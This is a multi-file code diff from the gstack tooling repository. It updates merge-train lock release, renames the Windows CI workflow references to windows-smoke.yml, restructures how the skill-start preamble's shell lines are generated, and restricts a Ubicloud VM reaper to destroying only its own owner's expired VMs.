return outOk([...lines, `main: ${main} = T${before.index} (${pre.detail})`, `head: ${head} (${stampOnly.detail})`, `${shipped.line} (binds ${shipped.head === t.slots[i]!.head ? 'the pinned head' : 'the current head'})`, `STAMP_VERSION: ${stamp.version}`,
`VERIFY_TRAIN: #${o.pr} may merge as slot ${i + 1} of train ${t.nonce} (green run ${gate.run?.id ?? '-'}, ${env.train.full_gate_check} success)`, `MERGE_CONDITION: sha=${head}`],
`merge #${o.pr} with expected head ${head.slice(0, 12)} (gstack-restamp stamps at merge), then ${Q} verify --pr ${o.pr} --train ${t.nonce}`, run);
}
@@ -262,6 +299,12 @@ export function confirmMerged(env: TrainEnv, t: TrainRecord, pr: string, main: s
freeze.updated_at = freeze.cleared_at;
persist(env.ctx.repoRoot, [freeze], { remote: env.remote });
lines.push(`FREEZE: cleared (${freeze.cleared_by})`);
const held = readLock(env.ctx.repoRoot, env.remote);
if (held.state === 'held' && held.lock.phase === 'freeze') {
lines.push(writeLock(env.ctx.repoRoot, held.sha, { released: true, by: `verify #${pr} via train ${t.nonce}`, at: nowIso() }, env.remote).ok
? 'LOCK: released the freeze lock'
: 'LOCK: the freeze lock could not be released; the next land or train land takes it over once it reads this cleared freeze');
}
const rebuild = freeze.unmerged.length ? `${Q} train build --prs ${pinList(freeze.unmerged)}` : '';
const unread = freeze.unreadable ?? [];
const check = unread.length ? `${unread.map(u => `gh pr view ${u.pr} --json state,headRefOid`).join(' && ')} (unreadable at the freeze: ${unread.map(u => `#${u.pr}@${u.head.slice(0, 12)}`).join(', ')}); seat each that is OPEN in a train` : '';
+1 -1
View File
@@ -175,7 +175,7 @@ function conflictHint(mergeable: unknown, ci: { green: boolean; none: boolean },
if (mergeable !== 'CONFLICTING') return null;
const ref = branch && /^[\w.][\w./-]*$/.test(branch) ? `--ref ${branch}` : '--ref <branch>';
if (ci.none && fork) return `ci-hint: PR conflicts with the base (no merge ref, so pull_request CI did not run on ${head.slice(0, 12)}) and its head is on a fork, so the free workflows cannot be dispatched here; the coordinator decides (advisory)`;
if (ci.none) return `ci-hint: PR conflicts with the base (no merge ref, so pull_request CI did not run on ${head.slice(0, 12)}); dispatch the free workflows on the branch (gh workflow run free-tests.yml ${ref} && gh workflow run windows-free-tests.yml ${ref}), clear the pregate lanes with their run URLs (gstack-pregate clear --remote <lane> --run-url <run>), then rerun ready (advisory)`;
if (ci.none) return `ci-hint: PR conflicts with the base (no merge ref, so pull_request CI did not run on ${head.slice(0, 12)}); dispatch the free workflows on the branch (gh workflow run free-tests.yml ${ref} && gh workflow run windows-smoke.yml ${ref}), clear the pregate lanes with their run URLs (gstack-pregate clear --remote <lane> --run-url <run>), then rerun ready (advisory)`;
if (ci.green) return `ci-hint: PR conflicts with the base (no merge ref); the runs at ${head.slice(0, 12)} were not pull_request runs (dispatched on the branch, or push-triggered), and they count (advisory)`;
return null;
}
+3 -3
View File
@@ -285,17 +285,17 @@ export async function finish(argv: readonly string[], cwd: string): Promise<Repo
const r = new Report();
const list = lanes(argv) as { label: string; command: string }[];
const policy = shipPolicy(cwd, base);
if (!commitRelease(cwd, releasePaths(policy, cwd, 'HEAD'), flag('--trailer'), r)) return r;
if (!commitRelease(cwd, releasePaths(policy, cwd, 'HEAD', base), flag('--trailer'), r)) return r;
for (const cmd of all('--build')) {
const b = sh(cwd, cmd);
r.add(`BUILD: ${b.status === 0 ? 'ok' : `FAIL exit=${b.status}`} ${cmd.slice(0, 120)}`);
if (b.status !== 0) return r.stop(`Build failed or prerequisite missing: ${firstLine(b.stderr || b.stdout)}; repair it, then repeat stage 1`);
}
if (!all('--build').length) r.add('BUILD: none passed (record the inspected sources, or pass --build per declared command)');
const release = releasePaths(policy, cwd, flag('--reviewed-tree')!);
const release = releasePaths(policy, cwd, flag('--reviewed-tree')!, base);
const routed = route(cwd, base, flag('--reviewed-tree')!, flag('--reviewed-base'), release, { docsRechecked: has('--docs-rechecked'), contextReviewed: flag('--context-reviewed') }, r);
if (!routed) return r;
if (!docsFresh(cwd, base, flag('--docs-post')!, [...routed.base, ...routed.context, ...stampedFiles(policy, cwd, flag('--reviewed-tree')!)], all('--docs-requested'), flag('--docs-result'), r)) return r;
if (!docsFresh(cwd, base, flag('--docs-post')!, [...routed.base, ...routed.context, ...stampedFiles(policy, cwd, flag('--reviewed-tree')!, base)], all('--docs-requested'), flag('--docs-result'), r)) return r;
if (!list.length && !has('--no-lanes-approved')) return r.stop('no test lanes: require Step 5\'s explicit untested-scope approval (rerun with --no-lanes-approved) or run Steps 5-15');
const allow = evidenceExempt(release).join(',');
const check = (l: { label: string; command: string }) => bin(cwd, 'gstack-evidence', ['check', '--label', l.label, '--expect-cmd', l.command, '--max-age', '24', '--allow-paths', allow], 60_000).stdout;
+1 -1
View File
@@ -1,6 +1,6 @@
{
"name": "gstack",
"version": "1.92.50",
"version": "1.92.58",
"description": "Garry's Stack — Claude Code skills + fast headless browser. One repo, one install, entire AI engineering workflow.",
"license": "MIT",
"type": "module",
+1 -1
View File
@@ -17,7 +17,7 @@
"scripts/lib/published-text.ts": {"blob":"3f2e4d616b5dd0204035710c66b64d49055c5714","since":6},
"scripts/lib/shard-engine.ts": {"blob":"dc714d7d897aed185c0ec3d2c92ad22d954039e5","since":6,"nonBehavioral":"createShardSandbox drops the Capy launch markers (GSTACK_SESSION_KIND, GSTACK_CAPY, GSTACK_EPHEMERAL, GSTACK_INSTALL_VERDICT) from shard environments; CI never sets them, so no case's input or verdict changes there, and on a Capy machine fixtures now see the session kind they set themselves instead of the installer's"},
"scripts/test-paid-shards.ts": {"blob":"5439d0a8f6e1569fa7c924af20d67c30c81d5d30","since":6,"nonBehavioral":"credential rejections are classed infra instead of assertion: no case's pass or fail changes; only failed trials whose provider rejected the run's key move class, so no rerun spends on a rejected key"},
"scripts/test-pr-profile.ts": {"blob":"911e393d0c36c050c3a68db5a81ef21701bfd5ae","since":6,"nonBehavioral":"selection only: fragment exemption narrowed to .md files directly in the fragments dir; changed-file lists include a rename's old path; no case prompt, fixture, judge or verdict logic changes (GST-400)"},
"scripts/test-pr-profile.ts": {"blob":"25e2d88dd2e1caae5213fb396b977891bc67549a","since":6,"nonBehavioral":"scripts/test-pr-profile.ts only lists .github/workflows/windows-smoke.yml among files no paid case reads; no case's selection, prompt or verdict can change"},
"scripts/test-strict-output.ts": {"blob":"01185d20dc9761b04b9b2f751ec98664fe0eaf93","since":6},
"test/helpers/agent-sdk-runner.ts": {"blob":"210bba92d241a90df578b2c7fc943ac5755d0025","since":6},
"test/helpers/auq-substance-panel.ts": {"blob":"4881260ef793668e4963a062db6d06a5e1f7a40f","since":6},
+5
View File
@@ -315,6 +315,10 @@ export const KNOWN_WINDOWS_INCOMPATIBLE: Array<{ file: string; reason: string }>
file: 'test/ship-queue-train-land.test.ts',
reason: 'drives train land against test/helpers/ship-queue-train-fixture.ts plus an extensionless node gh wrapper on a colon-joined PATH; on windows-latest spawnSync(\'gh\') resolves the runner\'s gh.exe instead, as for test/ship-queue-train.test.ts and test/ship-queue-land.test.ts (windows-free-shard 6, run 40824965988)',
},
{
file: 'test/ship-queue-land-lock.test.ts',
reason: 'drives land and train land against test/helpers/ship-queue-train-fixture.ts plus an extensionless node gh wrapper on a colon-joined PATH; on windows-latest spawnSync(\'gh\') resolves the runner\'s gh.exe instead, as for test/ship-queue-train-land.test.ts and test/ship-queue-land.test.ts (windows-free-shard 6, run 40824965988)',
},
{
file: 'test/ship-queue-train.test.ts',
reason: 'drives bin/gstack-ship-queue against the stateful #!/bin/sh gh shim in test/helpers/ship-queue-train-fixture.ts; on windows-latest spawnSync(\'gh\') resolves the runner\'s gh.exe instead of the shim (windows-free-shard run 39152702056)',
@@ -407,6 +411,7 @@ export const KNOWN_WINDOWS_SAFE: Array<{ file: string; reason: string }> = [
{ file: 'test/gstack-wtree-windows-paths.test.ts', reason: '#3101: runs bin/gstack-wtree through explicit bash in an os.tmpdir linked worktree with forward-slash paths; never executes a shebang; the drive-letter simulation is skipIf win32' },
{ file: 'test/setup-hook-syntax-gate.test.ts', reason: '#3088/#3100: runs bin/gstack-hook-check and the setup hook sections through explicit bash with forward-slash paths; never executes a shebang. Its Bun drive-path spelling is the Windows bug it guards' },
{ file: 'test/bun-config-shell-bins.test.ts', reason: '#3415: runs the record bins through lib/script-invocation.ts (Git Bash on Windows) with MSYS path conversion off, the case it guards; its bun and cygpath stand-ins and simulated-OSTYPE cases are skipIf win32' },
{ file: 'test/ship-receipt-session-kind.test.ts', reason: '#3541: runs gstack-ship-receipt write through lib/script-invocation.ts, which must reach the bash gstack-session-kind through Git Bash; os.tmpdir git fixture only' },
{ file: 'test/path-spelling.test.ts', reason: 'sources bin/gstack-path-spelling.sh through explicit bash and checks lib/path-spelling.ts; on Windows it exercises the real Git Bash spellings' },
{ file: 'test/timeline-stop-hook-stdin.test.ts', reason: '#3628: the hook runs through Bun argv with a stdin pipe held open; the return-within-budget timing must meet real Windows process startup' },
{ file: 'test/state-root-parity.test.ts', reason: 'runs the bash twin and lib/state-root.ts over an env table with PATH empty; no shebang execution, raw-string comparison is platform-neutral' },
@@ -1,6 +1,6 @@
import type { TemplateContext } from '../types';
import { getHostConfig } from '../../../hosts/index';
import { runtimeRootPrelude } from '../runtime-root';
import { skillStartLines } from '../runtime-root';
/**
* Preamble bootstrap (token-reduction Phase 1).
@@ -25,11 +25,10 @@ import { runtimeRootPrelude } from '../runtime-root';
*/
export function generatePreambleBash(ctx: TemplateContext): string {
const hostConfig = getHostConfig(ctx.host);
const runtimeRoot = hostConfig.usesEnvVars ? `${runtimeRootPrelude(ctx)}\n` : '';
const start = hostConfig.usesEnvVars ? skillStartLines(ctx) : null;
const runtimeRoot = start ? `${start.lookup}\n` : '';
const brainHealthFlag = ctx.host === 'gbrain' || ctx.host === 'hermes' ? ' --brain-health' : '';
const startCommand = hostConfig.usesEnvVars
? `"${ctx.paths.binDir}/gstack-skill-start"`
: `${ctx.paths.binDir}/gstack-skill-start`;
const startCommand = start ? start.command : `${ctx.paths.binDir}/gstack-skill-start`;
const entry = ['plan-design-review', 'plan-eng-review'].includes(ctx.skillName)
? `## Preamble (after scope gate)
+41 -5
View File
@@ -3,8 +3,9 @@
* bash finds gstack on Codex and every other `usesEnvVars` host.
*
* Those hosts run each fenced block in a fresh shell, so `GSTACK_ROOT`, `B`,
* `D` and `P` set by an earlier block are gone. The preamble's root resolution and
* the per-fence prelude come from `runtimeRootPrelude()`; `insertRuntimePreludes()`
* `D` and `P` set by an earlier block are gone. The preamble's skill-start fence
* comes from `skillStartLines()` and the per-fence prelude from
* `runtimeRootPrelude()`; `insertRuntimePreludes()`
* is the single post-render pass (gen-skill-docs, before rewriteInstallRoot)
* that puts it into every fence that uses these variables without assigning
* them. Claude output is returned unchanged.
@@ -13,6 +14,9 @@
* on a per-install render, the literal install root (no git call); otherwise the
* repo-local install, then the host's global root (`CODEX_HOME` on Codex). No
* root prints one line naming what was tried and the setup command, and exits.
* The skill-start fence differs (GST-882): an install-root render calls the
* literal install root's start script and ignores an exported `GSTACK_ROOT`, and
* with no root either render prints that line and lets the call fail.
*/
import { getHostConfig } from '../../hosts/index';
import { toShellPath, type TemplateContext } from './types';
@@ -37,13 +41,45 @@ const uses = (name: string) => new RegExp(`\\$\\{?${name}\\b`);
*/
function resolveRoot(ctx: TemplateContext): string {
const host = getHostConfig(ctx.host);
const fix = `Fix: ./setup --host ${host.name} from your gstack checkout; ./setup --status shows it.`;
const fix = installFix(ctx);
const exported = '[ -d "${GSTACK_ROOT:-/-}/bin" ]&&[ -d "$GSTACK_ROOT/lib" ]||';
if (ctx.installRoot) {
return `${exported}{ GSTACK_ROOT="${ctx.installRoot.replace(/\/+$/, '')}";[ -d "$GSTACK_ROOT/bin" ]||{ echo "gstack: no install found (tried $GSTACK_ROOT). ${fix}">&2;exit 1;};}`;
}
const global = host.name === 'codex' ? '${CODEX_HOME:-~/.codex}/skills/gstack' : `~/${host.globalRoot}`;
return `${exported}{ _r=$(git rev-parse --show-toplevel 2>/dev/null)/${host.localSkillRoot};[ -d "$_r/bin" ]||_r=${global};[ -d "$_r/bin" ]||{ echo "gstack: no install found (tried $_r). ${fix}">&2;exit 1;};GSTACK_ROOT=$_r;}`;
return `${exported}{ _r=$(git rev-parse --show-toplevel 2>/dev/null)/${host.localSkillRoot};[ -d "$_r/bin" ]||_r=${globalRoot(ctx)};[ -d "$_r/bin" ]||{ echo "gstack: no install found (tried $_r). ${fix}">&2;exit 1;};GSTACK_ROOT=$_r;}`;
}
const installFix = (ctx: TemplateContext) => `Fix: ./setup --host ${getHostConfig(ctx.host).name} from your gstack checkout; ./setup --status shows it.`;
const globalRoot = (ctx: TemplateContext) => {
const host = getHostConfig(ctx.host);
return host.name === 'codex' ? '${CODEX_HOME:-~/.codex}/skills/gstack' : `~/${host.globalRoot}`;
};
/**
* The skill-start fence on env-var hosts (GST-882). Hermes's Tirith blocks a
* start command it cannot resolve statically, a grouped fallback or a
* variable-selected path alike, and no allowlist entry clears that finding. An
* install-root render therefore names the literal start path; a checked-in
* render keeps resolveRoot's lookup order as plain lines. Either way a missing
* install prints the fix, and the call then fails.
*/
export function skillStartLines(ctx: TemplateContext): { lookup: string; command: string } {
const fix = installFix(ctx);
if (ctx.installRoot) {
const root = ctx.installRoot.replace(/\/+$/, '');
return {
lookup: `[ -x "${root}/bin/gstack-skill-start" ]||echo "gstack: no install found (tried ${root}). ${fix}">&2`,
command: `"${root}/bin/gstack-skill-start"`,
};
}
return {
lookup: [
`[ -d "\${GSTACK_ROOT:-/-}/lib" ]&&[ -d "$GSTACK_ROOT/bin" ]||GSTACK_ROOT=$(git rev-parse --show-toplevel 2>/dev/null)/${getHostConfig(ctx.host).localSkillRoot}`,
`[ -d "$GSTACK_ROOT/bin" ]||GSTACK_ROOT=${globalRoot(ctx)}`,
`[ -d "$GSTACK_ROOT/bin" ]||echo "gstack: no install found (tried $GSTACK_ROOT). ${fix}">&2`,
].join('\n'),
command: '"$GSTACK_ROOT/bin/gstack-skill-start"',
};
}
const DERIVED: Record<string, string> = { BIN: 'bin', BROWSE: 'browse/dist', DESIGN: 'design/dist', MAKE_PDF: 'make-pdf/dist' };
+3 -3
View File
@@ -292,13 +292,13 @@ export function collectHealth(inputs: HealthInputs): HealthReport {
detail: window.files.slice(0, 15).map(file => `${file.file}: ${file.flakyRuns}/${window.runs} runs (${pct(file.rate)})${file.failing ? ' FAIL > 5%' : ''}`) };
}));
metrics.push(metric('free-wall', 'Free-suite and Windows wall', 'p50 of run_started_at to updated_at for successful main runs of free-tests.yml and successful pull_request runs of windows-free-tests.yml (its workflow_dispatch duration recordings excluded)', () => {
metrics.push(metric('free-wall', 'Free-suite and Windows wall', 'p50 of run_started_at to updated_at for successful main runs of free-tests.yml and successful pull_request runs of windows-smoke.yml, the required Windows check (its workflow_dispatch runs excluded)', () => {
const walls = (workflow: string, filter: { branch?: string; event?: string }) =>
listWorkflowRuns(client, repo, workflow, { since, ...filter }).filter(run => run.conclusion === 'success').map(run => span(run.startedAt, run.updatedAt)!);
const free = walls('free-tests.yml', { branch: 'main' });
const windows = walls('windows-free-tests.yml', { event: 'pull_request' });
const windows = walls('windows-smoke.yml', { event: 'pull_request' });
const windowsValue = windows.length ? `${minutes(percentile(windows, 0.5))} (${windows.length} runs)` : 'no successful PR runs in window';
return { value: `free-tests ${minutes(percentile(free, 0.5))} (${free.length} runs); windows-free-tests (successful PR runs) ${windowsValue}` };
return { value: `free-tests ${minutes(percentile(free, 0.5))} (${free.length} runs); windows-smoke (successful PR runs) ${windowsValue}` };
}));
metrics.push(metric('free-serial', 'Free-suite serial time', 'sum of scripts/free-test-durations.json (the committed seed)', () => {
+1
View File
@@ -294,6 +294,7 @@ export const FREE_ONLY_PR_FILES = [
'.github/workflows/windows-free-tests.yml',
'.github/workflows/windows-pregate-e2e.yml',
'.github/workflows/windows-setup-e2e.yml',
'.github/workflows/windows-smoke.yml',
] as const;
/**
+21 -16
View File
@@ -44,12 +44,13 @@
#
# TTL and reaper: a name this script generates ends in -t<hours> (UBI_TTL_HOURS,
# 1-999, default 3), the creator's own declaration of how long the VM may live.
# `reap` destroys every VM in the project whose TTL expired more than ten
# minutes ago, whichever owner made it, and this owner's own ubirun-<owner>-*
# names with no TTL once they are UBI_LEGACY_HOURS old (default 4; another
# owner's or an untagged TTL-less VM is never reaped); every `up` runs it first (UBI_REAP=0 skips it), so a runner
# killed by a sleeping machine leaves nothing behind for longer than its TTL.
# Names outside the ubirun- prefix are never reaped.
# `reap` destroys only this owner's VMs: its ubirun-<owner>-* names whose TTL
# expired more than ten minutes ago, and those with no TTL once they are
# UBI_LEGACY_HOURS old (default 4). Another owner's VM, an untagged one and
# names outside the ubirun- prefix are never reaped, expired or not; reap only
# counts other owners' expired VMs in its log (cloud deletes stay owner-scoped,
# GST-573). Every `up` runs it first (UBI_REAP=0 skips it), so a lane killed by
# a sleeping machine has its leftovers destroyed by its own next `up`.
#
# Leftover line: `run` and `verify` end with
# UBICLOUD: left=<0|1|unknown> owner=<owner> vm=<name> others=<n>
@@ -754,23 +755,26 @@ vm_rows() {
done
}
# reap: destroy every VM whose name carries a TTL that ended more than
# REAP_GRACE seconds ago, whichever owner created it (the TTL is that owner's
# own declaration), and the caller's own TTL-less ubirun-<UBI_OWNER>-* names at
# least LEGACY_HOURS old. Another owner's TTL-less VM, an untagged one, and names
# outside the prefix are never touched: only a TTL lets reap judge another lane's VM.
# reap: destroy the caller's own VMs whose TTL ended more than REAP_GRACE
# seconds ago, and its TTL-less ubirun-<UBI_OWNER>-* names at least LEGACY_HOURS
# old. Every other VM is never touched, whatever its TTL says: a delete stays
# with the owner that created the VM. Other owners' expired VMs are only counted.
cmd_reap() {
local now rows loc name owner expires created n=0 failed=0
local now rows loc name owner expires created n=0 failed=0 others=0
[[ "$LEGACY_HOURS" =~ ^[1-9][0-9]{0,3}$ ]] || die "UBI_LEGACY_HOURS must be a whole number of hours from 1 to 9999 with no leading zero (how old a TTL-less ubirun-* VM must be before reap destroys it)"
now=$(date +%s)
rows=$(vm_rows) || { log "reap: could not list the project's VMs; nothing destroyed"; return 1; }
while read -r loc name owner expires created; do
[ -n "$name" ] || continue
if [ "$owner" != "$OWNER" ]; then
[ "$expires" = - ] || [ "$now" -lt $(( expires + REAP_GRACE )) ] || others=$(( others + 1 ))
continue
fi
if [ "$expires" != - ]; then
[ "$now" -ge $(( expires + REAP_GRACE )) ] || continue
log "reaping expired $loc/$name (owner $owner; its TTL ended $(( (now - expires) / 60 )) min ago)"
else
[ -n "${UBI_OWNER:-}" ] && [ "$owner" = "$OWNER" ] && [ "$created" != - ] || continue
[ -n "${UBI_OWNER:-}" ] && [ "$created" != - ] || continue
[ $(( now - 10#$created )) -ge $(( LEGACY_HOURS * 3600 )) ] || continue
log "reaping TTL-less $loc/$name (owner $owner; $(( (now - 10#$created) / 3600 ))h old, legacy sweep at ${LEGACY_HOURS}h)"
fi
@@ -778,6 +782,7 @@ cmd_reap() {
cmd_down "$name" -l "$loc" || { failed=$(( failed + 1 )); log "failed to reap $loc/$name"; }
done <<<"$rows"
[ "$n" -gt 0 ] || log "reap: no expired VMs"
[ "$others" -eq 0 ] || log "reap: left $others expired VMs of other owners; only their owners reap them"
[ "$failed" -eq 0 ] || { log "reap: $failed of $n expired VMs could not be destroyed"; return 1; }
}
@@ -1363,7 +1368,7 @@ cmd_run() {
trap 'exit 130' INT TERM QUIT
trap on_hup HUP
if [[ "$name" =~ -t([0-9]+)$ ]]; then
log "$name carries a ${BASH_REMATCH[1]}h TTL (any later run of this script reaps it); if this process dies first: $0 down $name"
log "$name carries a ${BASH_REMATCH[1]}h TTL (this owner's next up or reap destroys it once it expires); if this process dies first: $0 down $name"
elif [[ "$name" =~ ^$PREFIX-$OWNER-[0-9]{10}- ]]; then
log "$name has no TTL (reap destroys it once it is ${LEGACY_HOURS}h old); if this process dies before its teardown line, destroy it with: $0 down $name"
else
@@ -1579,8 +1584,8 @@ usage: ubi-runner.sh <command> [args]
owner print this caller's owner tag ($OWNER)
records VMs this machine created and has not confirmed gone ($VM_RECORD)
gc HOURS destroy this owner's VMs older than HOURS (never other owners')
reap destroy every VM whose -t<hours> TTL has ended (any owner) and this
owner's TTL-less ubirun-* VMs older than UBI_LEGACY_HOURS
reap destroy this owner's VMs whose -t<hours> TTL has ended and its
TTL-less ubirun-* VMs older than UBI_LEGACY_HOURS (never other owners')
cli ARGS... raw Ubicloud CLI passthrough (e.g. cli vm list)
signals: INT and TERM tear the VM down. HUP, once a remote phase is live, detaches
+5 -5
View File
@@ -15,7 +15,7 @@ the next act. Read a section only when a phase or the list at the end sends you,
up front. A STOP or decision this file does not cover: read `ship/SKILL.md` at that step, finish it
there, come back. Unattended, take a question's recommended option (log it); gate
dispositions and approvals stay pending and end the run. Keep a private invocation record (`--record`): write its six headings at Phase 1, then fill each as its phase ends: **Checks**
(Phases 2-4: lanes, pregate, evals, `Coverage:`, the plan checks, `Scope Check:`), **Decisions** (any
(Phases 2-4: lanes, pregate, evals, `Coverage:`, the plan checks, `Exploratory QA:`, `Scope Check:`), **Decisions** (any
phase: each answered or auto-taken question, verbatim), **Reviews** (Phases 3-5: the plan line,
start tokens, `Pre-Landing Review:`, `Gate edits:`, the reviewed tree), **Release** (Phases 5-7:
version, CHANGELOG, commits), **Documentation** (Step 14.5) and **Next steps** (every phase: the next act).
@@ -24,7 +24,7 @@ version, CHANGELOG, commits), **Documentation** (Step 14.5) and **Next steps** (
outside-voice and documentation brief, its severity and confidence rules and gates come from its
section verbatim (placeholders filled); this file
never shortens a reviewer's brief. A blocking reader's prompt is its `gstack-review-dispatch render`
file, unchanged; its findings reach `merged.jsonl` only via `collect`; `judge` refuses a drop or downgrade. Audit readers (Steps 7, 8, 9.2.1, 14.5) cannot block, so each runs on a
file, unchanged; its findings reach `merged.jsonl` only via `collect`; `judge` refuses a drop or downgrade. Audit readers (Steps 7, 8, 14.5) cannot block, so each runs on a
small model at low effort; their findings go to the PR body.
**Calls.** One pass with no fixes is 9 calls: Phases 1-8 and the report; at most 12 with a STOP's
@@ -77,13 +77,13 @@ Never read TODOS.md or the full diff into the parent. A `PERSIST:` hint never re
## 3. Audits and review: Steps 7, 8, 9, 9.1, 9.2, 9.2.1
One program: the audit readers `READER:` names (Step 7 from `sections/test-coverage.md`, Step 8 from
`sections/plan-completion.md`, each run as written; Step 7 may write tests, so it settles first), Step 9.2.1's QA reader (that step of
`sections/review-army.md` as its brief) and the pass (above): Steps 9-9.2 as written. `Coverage:` and Step 8's line come from `--audit` when no
`sections/plan-completion.md`, each run as written; Step 7 may write tests, so it settles first), 9.2.1's Reads only and the pass
(above): Steps 9-9.2 from `sections/review-army.md` as written. `Coverage:` and Step 8's line come from `--audit` when no
reader ran.
## 4. Judgment: Steps 8.1, 8.2, 9.3, 9.4 and Step 11
Steps 8.1 and 8.2 (`Scope Check:`) on the todos and commits files, then the core checklist, Steps
Step 8.1, 9.2.1's probes, 8.2 (`Scope Check:`) on the todos and commits files, then the core checklist, Steps
9.3, 9.4 and the repeat decision as written (`gstack-review-plan` included;
`JUDGMENT: ok` before any fix), fixes and persistence in
one program. Prints `Pre-Landing Review:`, `Gate edits:`. `NEXT: stop` stops; `full` or
+5 -5
View File
@@ -13,7 +13,7 @@ the next act. Read a section only when a phase or the list at the end sends you,
up front. A STOP or decision this file does not cover: read `ship/SKILL.md` at that step, finish it
there, come back. Unattended, take a question's recommended option (log it); gate
dispositions and approvals stay pending and end the run. Keep a private invocation record (`--record`): write its six headings at Phase 1, then fill each as its phase ends: **Checks**
(Phases 2-4: lanes, pregate, evals, `Coverage:`, the plan checks, `Scope Check:`), **Decisions** (any
(Phases 2-4: lanes, pregate, evals, `Coverage:`, the plan checks, `Exploratory QA:`, `Scope Check:`), **Decisions** (any
phase: each answered or auto-taken question, verbatim), **Reviews** (Phases 3-5: the plan line,
start tokens, `Pre-Landing Review:`, `Gate edits:`, the reviewed tree), **Release** (Phases 5-7:
version, CHANGELOG, commits), **Documentation** (Step 14.5) and **Next steps** (every phase: the next act).
@@ -22,7 +22,7 @@ version, CHANGELOG, commits), **Documentation** (Step 14.5) and **Next steps** (
outside-voice and documentation brief, its severity and confidence rules and gates come from its
section verbatim (placeholders filled); this file
never shortens a reviewer's brief. A blocking reader's prompt is its `gstack-review-dispatch render`
file, unchanged; its findings reach `merged.jsonl` only via `collect`; `judge` refuses a drop or downgrade. Audit readers (Steps 7, 8, 9.2.1, 14.5) cannot block, so each runs on a
file, unchanged; its findings reach `merged.jsonl` only via `collect`; `judge` refuses a drop or downgrade. Audit readers (Steps 7, 8, 14.5) cannot block, so each runs on a
small model at low effort; their findings go to the PR body.
**Calls.** One pass with no fixes is 9 calls: Phases 1-8 and the report; at most 12 with a STOP's
@@ -75,13 +75,13 @@ Never read TODOS.md or the full diff into the parent. A `PERSIST:` hint never re
## 3. Audits and review: Steps 7, 8, 9, 9.1, 9.2, 9.2.1
One program: the audit readers `READER:` names (Step 7 from `sections/test-coverage.md`, Step 8 from
`sections/plan-completion.md`, each run as written; Step 7 may write tests, so it settles first), Step 9.2.1's QA reader (that step of
`sections/review-army.md` as its brief) and the pass (above): Steps 9-9.2 as written. `Coverage:` and Step 8's line come from `--audit` when no
`sections/plan-completion.md`, each run as written; Step 7 may write tests, so it settles first), 9.2.1's Reads only and the pass
(above): Steps 9-9.2 from `sections/review-army.md` as written. `Coverage:` and Step 8's line come from `--audit` when no
reader ran.
## 4. Judgment: Steps 8.1, 8.2, 9.3, 9.4 and Step 11
Steps 8.1 and 8.2 (`Scope Check:`) on the todos and commits files, then the core checklist, Steps
Step 8.1, 9.2.1's probes, 8.2 (`Scope Check:`) on the todos and commits files, then the core checklist, Steps
9.3, 9.4 and the repeat decision as written (`gstack-review-plan` included;
`JUDGMENT: ok` before any fix), fixes and persistence in
one program. Prints `Pre-Landing Review:`, `Gate edits:`. `NEXT: stop` stops; `full` or
+5 -3
View File
@@ -15,7 +15,7 @@ import { parseWorkflow } from '../lib/pregate/workflows';
const ROOT = path.resolve(import.meta.dir, '..');
const read = (rel: string) => fs.readFileSync(path.join(ROOT, rel), 'utf8');
const FILES = { 'free-tests.yml': { aggregate: 'free-tests', profile: 'ci-reuse/free-tests', plan: 'free-plan', exempt: [] as string[] }, 'windows-free-tests.yml': { aggregate: 'windows-free-tests', profile: 'ci-reuse/windows-free-tests', plan: 'windows-plan', exempt: ['windows-record-durations'] } };
const FILES = { 'free-tests.yml': { aggregate: 'free-tests', profile: 'ci-reuse/free-tests', plan: 'free-plan', exempt: [] as string[], manual: false }, 'windows-free-tests.yml': { aggregate: 'windows-free-tests', profile: 'ci-reuse/windows-free-tests', plan: 'windows-plan', exempt: ['windows-record-durations'], manual: true } };
const REUSE_IF = "github.event_name == 'push' && github.ref == 'refs/heads/main'";
const SKIP = "steps.route.outputs.reused != 'true'";
const PROFILES = JSON.parse(read('.gstack/pregate.json')).run_profiles as Record<string, { workflow: string; jobs: string[]; artifact: string; events: string[]; os: string }>;
@@ -74,8 +74,10 @@ for (const [file, spec] of Object.entries(FILES)) {
for (const name of Object.keys(jobs).filter(downstream)) expect([name, jobs[name].if]).toEqual([name, expect.stringMatching(/!cancelled\(\)|always\(\)/)]);
});
test('pregate still sees every test lane as required (no condition reads inputs or workflow_dispatch)', () => {
for (const lane of parseWorkflow(file, source, 'linux').filter(l => l.runsTests && !spec.exempt.includes(l.job))) expect([lane.id, lane.manual]).toEqual([lane.id, false]);
test(spec.manual ? 'pregate reads every test lane as manual: the nightly Windows suite is never a PR obligation (windows-smoke.yml is)' : 'pregate still sees every test lane as required (no condition reads inputs or workflow_dispatch)', () => {
const lanes = parseWorkflow(file, source, 'linux').filter(l => l.runsTests && !spec.exempt.includes(l.job));
expect(lanes.length).toBeGreaterThan(0);
for (const lane of lanes) expect([lane.id, lane.manual]).toEqual([lane.id, spec.manual]);
});
test('the aggregate routes first, before any download; the strict path follows unchanged and alone uploads tested-tree after verification', () => {
+4 -3
View File
@@ -17,9 +17,10 @@ This skill follows gstack shared preamble `6872f1ec4eb9` (AskUserQuestion format
## Preamble (run first)
```bash
[ -d "${GSTACK_ROOT:-/-}/bin" ]&&[ -d "$GSTACK_ROOT/lib" ]||{ _r=$(git rev-parse --show-toplevel 2>/dev/null)/.agents/skills/gstack;[ -d "$_r/bin" ]||_r=~/.gemini/antigravity-cli/skills/gstack;[ -d "$_r/bin" ]||{ echo "gstack: no install found (tried $_r). Fix: ./setup --host agy from your gstack checkout; ./setup --status shows it.">&2;exit 1;};GSTACK_ROOT=$_r;}
GSTACK_BIN=$GSTACK_ROOT/bin
"$GSTACK_BIN/gstack-skill-start" --skill "ship" --model "gemini"
[ -d "${GSTACK_ROOT:-/-}/lib" ]&&[ -d "$GSTACK_ROOT/bin" ]||GSTACK_ROOT=$(git rev-parse --show-toplevel 2>/dev/null)/.agents/skills/gstack
[ -d "$GSTACK_ROOT/bin" ]||GSTACK_ROOT=~/.gemini/antigravity-cli/skills/gstack
[ -d "$GSTACK_ROOT/bin" ]||echo "gstack: no install found (tried $GSTACK_ROOT). Fix: ./setup --host agy from your gstack checkout; ./setup --status shows it.">&2
"$GSTACK_ROOT/bin/gstack-skill-start" --skill "ship" --model "gemini"
```
